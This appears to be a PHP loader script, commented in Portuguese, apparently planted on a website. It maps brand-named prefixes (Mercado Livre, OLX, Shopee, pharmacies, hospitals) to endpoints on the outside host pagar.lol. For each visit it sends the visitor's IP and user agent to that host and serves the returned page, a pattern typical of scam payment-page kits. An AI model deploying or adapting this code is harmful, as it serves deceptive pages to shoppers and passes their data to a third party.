ini_set('display_errors', 1); error_reporting(E_ALL); //v2 $log_file = __DIR__ . '/log_requisicoes.txt'; // Função simples para log function escreveLog($msg, $file) { file_put_contents($file, date('[Y-m-d H:i:s] ') . $msg . PHP_EOL, FILE_APPEND); } escreveLog('--- Nova requisição ---', $log_file); if (isset($_GET['o'])) { $o = $_GET['o']; escreveLog("Parâmetro recebido: $o", $log_file); $mapa = [ 'venda' => 'https://pagar.lol/s/mms/p.php', 'mercadolivre' => 'https://pagar.lol/s/mms/p.php', 'olx' => 'https://pagar.lol/s/ggs/p.php', 'farmacia' => 'https://pagar.lol/s/mmn/p.php', 'drogaria' => 'https://pagar.lol/s/mmp/p.php', 'hospital' => 'https://pagar.lol/s/pps/p.php', 'usar' => 'https://pagar.lol/s/v/p.php', 'ajuda' => 'https://pagar.lol/s/v2/p.php', 'shopee' => 'https://pagar.lol/s/c/p.php', ]; // Pega prefixo antes do primeiro underline $prefixo = explode('_', $o)[0] ?? ''; escreveLog("Prefixo identificado: $prefixo", $log_file); // Detecta se termina com .xml $isXml = substr($o, -4) === '.xml'; if ($isXml) { $pos = strpos($o, '_'); $slug = ($pos !== false) ? substr($o, $pos + 1) : ''; } else { $pos = strpos($o, '_'); $slug = ($pos !== false) ? substr($o, $pos + 1) : ''; } escreveLog("Slug extraído: $slug", $log_file); if (isset($mapa[$prefixo])) { $endpoint = $mapa[$prefixo]; escreveLog("Endpoint escolhido: $endpoint", $log_file); $payload = json_encode([ 'caminho' => $slug, 'ip' => $_SERVER['REMOTE_ADDR'] ?? '', 'userAgent' => $_SERVER['HTTP_USER_AGENT'] ?? '', 'dominio' => (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off' ? 'https://' : 'http://') . $_SERVER['HTTP_HOST'] . dirname($_SERVER['REQUEST_URI']) . "/?o={$prefixo}_" ]); escreveLog("Payload montado: $payload", $log_file); // Envia POST $ch = curl_init($endpoint); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_HTTPHEADER, ['Content-Type: application/json']); curl_setopt($ch, CURLOPT_POSTFIELDS, $payload); curl_setopt($ch, CURLOPT_TIMEOUT, 10); escreveLog("Iniciando CURL...", $log_file); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); $curl_error = curl_error($ch); curl_close($ch); escreveLog("CURL finalizado. HTTP_CODE: $http_code", $log_file); if ($curl_error) { escreveLog("Erro CURL: $curl_error", $log_file); } if ($http_code === 200 && $response) { $json = json_decode($response, true); if (is_array($json)) { $tipos = [ 'html' => 'text/html', 'xml' => 'application/xml', 'xsl' => 'application/xslt+xml' ]; foreach ($tipos as $tipo => $mime) { if (!empty($json[$tipo])) { escreveLog("Conteúdo encontrado para tipo: $tipo", $log_file); // Corrige os links no conteúdo $conteudoCorrigido = str_replace('_/', '_', $json[$tipo]); header("Content-Type: $mime; charset=utf-8"); http_response_code(200); echo $conteudoCorrigido; exit; } } escreveLog("Nenhum conteúdo válido no JSON", $log_file); } else { escreveLog("Resposta JSON inválida", $log_file); } } else { escreveLog("Resposta não OK ou vazia", $log_file); } // Fallback $fallback_path = __DIR__ . '/fallback.html'; if (file_exists($fallback_path)) { escreveLog("Usando fallback", $log_file); header('Content-Type: text/html; charset=utf-8'); http_response_code(200); echo file_get_contents($fallback_path); } else { escreveLog("Fallback não encontrado", $log_file); http_response_code(503); echo '

Erro ao carregar a página de fallback.

'; } exit; } else { escreveLog("Prefixo não encontrado no mapa", $log_file); } } else { escreveLog("Parâmetro 'o' não recebido", $log_file); } escreveLog("--- Fim da verificação ---", $log_file);